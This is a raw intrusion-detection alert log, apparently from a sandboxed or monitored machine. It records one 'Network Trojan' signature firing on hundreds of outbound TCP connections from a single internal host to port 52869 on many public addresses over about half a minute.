2024-10-06T20:01:30.612066+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55414	41.199.212.250	52869	TCP
2024-10-06T20:01:30.613557+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58514	156.14.176.3	52869	TCP
2024-10-06T20:01:30.627536+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48380	156.106.246.75	52869	TCP
2024-10-06T20:01:32.453765+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50314	197.172.209.123	52869	TCP
2024-10-06T20:01:32.467116+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59978	197.98.103.117	52869	TCP
2024-10-06T20:01:32.471559+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60256	197.207.23.5	52869	TCP
2024-10-06T20:01:32.487035+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58376	156.24.28.119	52869	TCP
2024-10-06T20:01:33.498957+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43214	41.29.4.198	52869	TCP
2024-10-06T20:01:35.483157+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36600	156.33.93.232	52869	TCP
2024-10-06T20:01:35.483239+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58364	41.28.138.153	52869	TCP
2024-10-06T20:01:35.498787+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37504	156.171.168.41	52869	TCP
2024-10-06T20:01:35.498847+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58500	156.49.214.88	52869	TCP
2024-10-06T20:01:35.498869+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53154	41.69.246.200	52869	TCP
2024-10-06T20:01:35.499306+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45448	197.187.135.72	52869	TCP
2024-10-06T20:01:35.500497+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58040	41.19.30.235	52869	TCP
2024-10-06T20:01:35.502547+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57274	197.154.193.46	52869	TCP
2024-10-06T20:01:35.502858+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58134	197.57.164.58	52869	TCP
2024-10-06T20:01:35.504324+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47376	41.111.212.181	52869	TCP
2024-10-06T20:01:35.537694+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60182	156.197.245.58	52869	TCP
2024-10-06T20:01:39.519716+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49620	156.0.214.174	52869	TCP
2024-10-06T20:01:39.561601+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42742	197.255.160.138	52869	TCP
2024-10-06T20:01:39.562203+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34000	197.66.172.40	52869	TCP
2024-10-06T20:01:39.577210+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50616	156.87.8.192	52869	TCP
2024-10-06T20:01:39.578609+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53620	41.187.133.20	52869	TCP
2024-10-06T20:01:39.578751+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38336	41.79.34.52	52869	TCP
2024-10-06T20:01:39.580773+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57032	41.81.80.142	52869	TCP
2024-10-06T20:01:39.593554+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55122	41.200.249.196	52869	TCP
2024-10-06T20:01:40.531995+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37022	41.79.7.76	52869	TCP
2024-10-06T20:01:40.545665+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35560	41.243.217.149	52869	TCP
2024-10-06T20:01:40.577028+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54632	41.69.163.246	52869	TCP
2024-10-06T20:01:40.577795+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34806	197.74.229.3	52869	TCP
2024-10-06T20:01:42.577096+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36004	197.163.72.205	52869	TCP
2024-10-06T20:01:42.577427+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53884	197.24.249.17	52869	TCP
2024-10-06T20:01:42.577553+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43894	197.55.118.222	52869	TCP
2024-10-06T20:01:42.577813+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49632	156.105.207.172	52869	TCP
2024-10-06T20:01:42.577833+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60652	156.188.236.204	52869	TCP
2024-10-06T20:01:42.578133+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50352	156.215.55.119	52869	TCP
2024-10-06T20:01:42.578612+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34436	197.3.12.212	52869	TCP
2024-10-06T20:01:42.578676+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45834	197.93.62.90	52869	TCP
2024-10-06T20:01:42.578973+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41318	41.67.97.56	52869	TCP
2024-10-06T20:01:42.579488+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44162	41.90.246.5	52869	TCP
2024-10-06T20:01:42.579571+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55074	156.206.91.124	52869	TCP
2024-10-06T20:01:42.579654+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58206	41.153.70.140	52869	TCP
2024-10-06T20:01:42.581422+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40146	41.69.218.21	52869	TCP
2024-10-06T20:01:42.592940+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58324	197.32.123.94	52869	TCP
2024-10-06T20:01:42.593045+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49972	41.163.32.46	52869	TCP
2024-10-06T20:01:42.593164+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56612	156.98.253.68	52869	TCP
2024-10-06T20:01:42.593263+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48256	41.114.95.195	52869	TCP
2024-10-06T20:01:42.593806+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39764	197.242.147.119	52869	TCP
2024-10-06T20:01:42.593888+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42550	197.212.196.80	52869	TCP
2024-10-06T20:01:42.594007+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56610	156.127.103.15	52869	TCP
2024-10-06T20:01:42.596917+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52626	41.45.103.32	52869	TCP
2024-10-06T20:01:42.597155+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50010	156.18.91.60	52869	TCP
2024-10-06T20:01:42.598698+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57088	197.98.23.76	52869	TCP
2024-10-06T20:01:42.610095+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51840	41.206.239.183	52869	TCP
2024-10-06T20:01:42.612011+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46204	41.107.207.186	52869	TCP
2024-10-06T20:01:42.612446+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40896	197.162.123.60	52869	TCP
2024-10-06T20:01:42.613876+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46210	197.119.112.7	52869	TCP
2024-10-06T20:01:42.615949+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46898	156.24.87.207	52869	TCP
2024-10-06T20:01:43.612289+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54164	197.158.250.4	52869	TCP
2024-10-06T20:01:43.625766+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48802	197.229.130.186	52869	TCP
2024-10-06T20:01:43.641382+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48564	197.104.98.193	52869	TCP
2024-10-06T20:01:44.583759+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33696	41.215.234.209	52869	TCP
2024-10-06T20:01:44.606211+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59748	197.4.109.29	52869	TCP
2024-10-06T20:01:46.657864+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34540	197.213.204.12	52869	TCP
2024-10-06T20:01:46.657941+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50590	197.174.129.205	52869	TCP
2024-10-06T20:01:46.662088+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33958	156.116.146.42	52869	TCP
2024-10-06T20:01:46.673492+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56204	156.95.196.191	52869	TCP
2024-10-06T20:01:47.655324+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60380	197.226.248.66	52869	TCP
2024-10-06T20:01:47.655335+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50238	156.100.141.141	52869	TCP
2024-10-06T20:01:47.655433+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50104	156.209.93.165	52869	TCP
2024-10-06T20:01:47.655497+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46194	197.94.124.75	52869	TCP
2024-10-06T20:01:47.655556+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60358	41.110.158.243	52869	TCP
2024-10-06T20:01:47.655564+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44776	197.205.200.98	52869	TCP
2024-10-06T20:01:47.655675+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37258	41.142.192.255	52869	TCP
2024-10-06T20:01:47.655681+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44166	156.93.81.136	52869	TCP
2024-10-06T20:01:47.655874+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59024	156.44.244.166	52869	TCP
2024-10-06T20:01:47.655877+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60542	156.70.175.166	52869	TCP
2024-10-06T20:01:47.657245+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34326	41.160.157.71	52869	TCP
2024-10-06T20:01:47.657247+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55226	41.172.231.226	52869	TCP
2024-10-06T20:01:47.657682+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38192	41.74.176.33	52869	TCP
2024-10-06T20:01:47.658988+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60838	197.49.21.28	52869	TCP
2024-10-06T20:01:47.670415+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55966	41.162.27.74	52869	TCP
2024-10-06T20:01:47.670947+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50660	197.215.102.95	52869	TCP
2024-10-06T20:01:47.672563+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58014	41.55.62.53	52869	TCP
2024-10-06T20:01:47.672648+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44654	41.100.244.66	52869	TCP
2024-10-06T20:01:47.674447+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38602	197.24.94.254	52869	TCP
2024-10-06T20:01:47.674647+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57952	156.105.182.53	52869	TCP
2024-10-06T20:01:47.674676+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39116	197.79.252.96	52869	TCP
2024-10-06T20:01:47.674736+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37636	197.2.124.141	52869	TCP
2024-10-06T20:01:47.674857+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35490	41.34.226.96	52869	TCP
2024-10-06T20:01:47.676529+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51062	156.41.214.241	52869	TCP
2024-10-06T20:01:47.676600+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40358	197.141.39.10	52869	TCP
2024-10-06T20:01:47.676710+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42456	156.67.0.10	52869	TCP
2024-10-06T20:01:47.676955+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43304	197.56.14.153	52869	TCP
2024-10-06T20:01:47.719294+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48684	197.76.141.79	52869	TCP
2024-10-06T20:01:47.721429+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59230	41.211.132.212	52869	TCP
2024-10-06T20:01:48.470966+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52376	41.201.233.234	52869	TCP
2024-10-06T20:01:48.688612+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33858	197.40.67.175	52869	TCP
2024-10-06T20:01:48.888989+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50038	156.73.113.231	52869	TCP
2024-10-06T20:01:50.717768+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34254	41.221.240.25	52869	TCP
2024-10-06T20:01:50.719027+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37174	197.25.101.38	52869	TCP
2024-10-06T20:01:50.719788+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60062	197.180.75.68	52869	TCP
2024-10-06T20:01:50.734120+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59694	41.149.115.102	52869	TCP
2024-10-06T20:01:50.737011+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50960	41.232.24.2	52869	TCP
2024-10-06T20:01:52.733690+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35100	41.213.247.156	52869	TCP
2024-10-06T20:01:52.749816+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53172	156.0.236.253	52869	TCP
2024-10-06T20:01:52.756954+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43416	41.2.139.193	52869	TCP
2024-10-06T20:01:52.780436+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57674	197.54.250.170	52869	TCP
2024-10-06T20:01:53.752452+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45128	41.66.13.68	52869	TCP
2024-10-06T20:01:54.952619+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55446	197.200.113.133	52869	TCP
2024-10-06T20:01:54.952621+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41690	197.220.252.254	52869	TCP
2024-10-06T20:01:54.952627+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34068	156.89.136.39	52869	TCP
2024-10-06T20:01:57.811701+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41016	197.180.93.125	52869	TCP
2024-10-06T20:01:57.813416+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34320	41.53.241.60	52869	TCP
2024-10-06T20:01:57.827759+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44760	197.61.209.66	52869	TCP
2024-10-06T20:01:57.829182+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34424	197.184.10.190	52869	TCP
2024-10-06T20:01:57.843802+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37056	156.52.174.42	52869	TCP
2024-10-06T20:01:57.844829+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44840	41.50.51.242	52869	TCP
2024-10-06T20:01:58.797918+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50978	197.238.6.142	52869	TCP
2024-10-06T20:01:58.798002+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42332	156.68.149.30	52869	TCP
2024-10-06T20:01:58.831603+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43218	197.76.198.44	52869	TCP
2024-10-06T20:01:58.843697+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44034	197.21.212.62	52869	TCP
2024-10-06T20:01:58.858539+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60502	197.140.116.56	52869	TCP
2024-10-06T20:01:59.811409+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39802	41.69.189.184	52869	TCP
2024-10-06T20:01:59.827368+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53166	156.138.11.229	52869	TCP
2024-10-06T20:01:59.831190+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60426	41.69.92.139	52869	TCP
2024-10-06T20:01:59.831530+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58722	156.75.5.3	52869	TCP
2024-10-06T20:02:00.692841+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38836	197.6.12.249	52869	TCP
2024-10-06T20:02:00.811209+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52712	41.59.95.13	52869	TCP
2024-10-06T20:02:00.827446+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48052	41.187.233.208	52869	TCP
2024-10-06T20:02:00.827507+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39120	197.48.133.66	52869	TCP
2024-10-06T20:02:00.827670+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59234	41.95.185.200	52869	TCP
2024-10-06T20:02:00.827740+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42726	156.176.254.152	52869	TCP
2024-10-06T20:02:00.827743+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45168	41.91.228.173	52869	TCP
2024-10-06T20:02:00.827996+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38558	41.8.204.233	52869	TCP
2024-10-06T20:02:00.828094+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50626	156.18.118.125	52869	TCP
2024-10-06T20:02:00.829023+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58374	197.249.100.246	52869	TCP
2024-10-06T20:02:00.829175+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35956	156.31.96.90	52869	TCP
2024-10-06T20:02:00.831147+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49416	156.186.131.212	52869	TCP
2024-10-06T20:02:00.842661+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36856	197.132.219.32	52869	TCP
2024-10-06T20:02:00.842964+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47610	156.163.174.123	52869	TCP
2024-10-06T20:02:00.843037+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36392	41.69.106.215	52869	TCP
2024-10-06T20:02:00.843135+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40188	156.204.71.225	52869	TCP
2024-10-06T20:02:00.844698+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53862	197.162.225.228	52869	TCP
2024-10-06T20:02:00.846658+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48798	41.63.150.214	52869	TCP
2024-10-06T20:02:00.846754+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47410	41.49.128.71	52869	TCP
2024-10-06T20:02:00.846795+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39964	156.7.218.249	52869	TCP
2024-10-06T20:02:00.846863+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43288	156.59.41.212	52869	TCP
2024-10-06T20:02:00.846964+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39164	41.170.36.21	52869	TCP
2024-10-06T20:02:00.858148+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33640	156.195.251.126	52869	TCP
2024-10-06T20:02:00.858539+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54538	197.237.128.105	52869	TCP
2024-10-06T20:02:00.860432+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60610	197.113.227.181	52869	TCP
2024-10-06T20:02:00.864323+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37152	41.12.117.6	52869	TCP
2024-10-06T20:02:00.878060+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48396	197.161.211.236	52869	TCP
2024-10-06T20:02:00.878264+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41242	41.134.10.27	52869	TCP
2024-10-06T20:02:00.879790+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57408	156.209.40.246	52869	TCP
2024-10-06T20:02:01.858208+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46364	156.6.227.85	52869	TCP
2024-10-06T20:02:01.858543+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52712	197.90.45.214	52869	TCP
2024-10-06T20:02:01.858708+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56344	156.37.89.250	52869	TCP
2024-10-06T20:02:01.858798+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58668	156.143.222.225	52869	TCP
2024-10-06T20:02:01.858861+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38122	41.156.210.161	52869	TCP
2024-10-06T20:02:01.858914+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37208	197.79.149.193	52869	TCP
2024-10-06T20:02:01.858976+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43674	41.100.194.20	52869	TCP
2024-10-06T20:02:01.859075+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54702	197.98.67.31	52869	TCP
2024-10-06T20:02:01.859463+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44570	156.158.80.40	52869	TCP
2024-10-06T20:02:01.860879+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50968	156.207.193.70	52869	TCP
2024-10-06T20:02:01.860984+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49046	41.142.178.138	52869	TCP
2024-10-06T20:02:01.862540+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51702	41.77.37.71	52869	TCP
2024-10-06T20:02:01.864484+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41972	41.80.137.185	52869	TCP
2024-10-06T20:02:01.866236+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35498	41.191.75.109	52869	TCP
2024-10-06T20:02:01.879869+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51372	41.181.29.60	52869	TCP
2024-10-06T20:02:01.890321+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37768	156.196.228.176	52869	TCP
2024-10-06T20:02:01.890826+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39744	41.122.119.34	52869	TCP
2024-10-06T20:02:01.893766+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39132	41.19.65.165	52869	TCP
2024-10-06T20:02:01.905684+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46162	41.212.27.100	52869	TCP
2024-10-06T20:02:01.972113+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51964	197.217.182.228	52869	TCP
2024-10-06T20:02:02.858896+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46890	156.9.215.253	52869	TCP
2024-10-06T20:02:02.905070+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37172	156.235.215.188	52869	TCP
2024-10-06T20:02:02.905408+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42544	156.38.207.133	52869	TCP
2024-10-06T20:02:02.905616+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55274	156.221.186.139	52869	TCP
2024-10-06T20:02:02.905731+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43986	197.64.210.134	52869	TCP
2024-10-06T20:02:02.905811+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58764	197.69.145.255	52869	TCP
2024-10-06T20:02:02.905936+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37746	197.132.166.75	52869	TCP
2024-10-06T20:02:02.906017+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34776	156.37.204.105	52869	TCP
2024-10-06T20:02:02.906139+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56992	156.144.125.8	52869	TCP
2024-10-06T20:02:02.906371+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51764	197.96.21.151	52869	TCP
2024-10-06T20:02:02.906447+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37146	197.216.6.12	52869	TCP
2024-10-06T20:02:02.906564+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34592	197.241.65.144	52869	TCP
2024-10-06T20:02:02.907421+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44442	197.236.101.172	52869	TCP
2024-10-06T20:02:02.907482+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38952	156.170.2.58	52869	TCP
2024-10-06T20:02:02.908039+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48256	197.17.218.35	52869	TCP
2024-10-06T20:02:02.910148+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33018	156.128.148.189	52869	TCP
2024-10-06T20:02:02.910335+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43674	156.185.94.33	52869	TCP
2024-10-06T20:02:02.912079+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48178	41.7.21.222	52869	TCP
2024-10-06T20:02:02.912273+0200	2027339	1	A Network Trojan was detected	192.168.2.15	32936	197.175.21.35	52869	TCP
2024-10-06T20:02:02.921453+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57822	197.5.138.213	52869	TCP
2024-10-06T20:02:02.921496+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44684	197.39.141.100	52869	TCP
2024-10-06T20:02:02.921876+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48156	197.64.211.210	52869	TCP
2024-10-06T20:02:02.921991+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44352	197.109.104.86	52869	TCP
2024-10-06T20:02:02.922788+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52030	41.183.235.184	52869	TCP
2024-10-06T20:02:02.924831+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56492	156.46.224.223	52869	TCP
2024-10-06T20:02:02.924901+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44978	197.125.26.181	52869	TCP
2024-10-06T20:02:02.925072+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34750	41.81.77.10	52869	TCP
2024-10-06T20:02:02.925510+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45918	156.192.188.185	52869	TCP
2024-10-06T20:02:02.926609+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57156	156.217.208.240	52869	TCP
2024-10-06T20:02:02.936773+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38616	197.163.19.154	52869	TCP
2024-10-06T20:02:02.940513+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45106	197.58.178.102	52869	TCP
2024-10-06T20:02:03.890056+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37392	41.233.14.53	52869	TCP
2024-10-06T20:02:03.905795+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41754	156.136.62.177	52869	TCP
2024-10-06T20:02:03.905838+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43326	197.101.253.42	52869	TCP
2024-10-06T20:02:03.905904+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45682	197.45.229.37	52869	TCP
2024-10-06T20:02:03.905964+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56304	41.180.52.16	52869	TCP
2024-10-06T20:02:03.905973+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60408	197.176.227.237	52869	TCP
2024-10-06T20:02:03.906094+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45836	41.58.153.171	52869	TCP
2024-10-06T20:02:03.906200+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46728	41.40.172.66	52869	TCP
2024-10-06T20:02:03.907407+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58624	197.24.239.153	52869	TCP
2024-10-06T20:02:03.907455+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47282	197.54.90.23	52869	TCP
2024-10-06T20:02:03.909425+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58726	156.96.135.224	52869	TCP
2024-10-06T20:02:03.921803+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52506	197.75.247.153	52869	TCP
2024-10-06T20:02:03.921892+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58170	156.30.141.51	52869	TCP
2024-10-06T20:02:03.922198+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52938	41.243.183.129	52869	TCP
2024-10-06T20:02:03.923031+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40996	41.213.178.133	52869	TCP
2024-10-06T20:02:03.923111+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43640	156.179.228.195	52869	TCP
2024-10-06T20:02:03.923266+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50368	197.31.1.210	52869	TCP
2024-10-06T20:02:03.924895+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45954	41.226.109.75	52869	TCP
2024-10-06T20:02:03.924918+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49910	197.115.195.165	52869	TCP
2024-10-06T20:02:03.925003+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55058	41.198.47.83	52869	TCP
2024-10-06T20:02:03.925066+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43196	156.205.168.139	52869	TCP
2024-10-06T20:02:03.925222+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58826	156.171.1.194	52869	TCP
2024-10-06T20:02:03.925336+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42148	197.46.140.92	52869	TCP
2024-10-06T20:02:03.926935+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54204	197.148.45.126	52869	TCP
2024-10-06T20:02:03.927023+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49978	41.99.11.187	52869	TCP
2024-10-06T20:02:03.940754+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34208	197.17.255.175	52869	TCP
2024-10-06T20:02:04.987568+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51734	41.61.18.252	52869	TCP
2024-10-06T20:02:04.987867+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59840	197.13.151.97	52869	TCP
2024-10-06T20:02:04.999506+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58250	41.159.225.231	52869	TCP
2024-10-06T20:02:04.999515+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59280	41.181.90.174	52869	TCP
2024-10-06T20:02:05.006584+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56662	41.123.32.19	52869	TCP
2024-10-06T20:02:05.016838+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57822	41.82.71.7	52869	TCP
2024-10-06T20:02:05.018923+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49678	41.148.162.74	52869	TCP
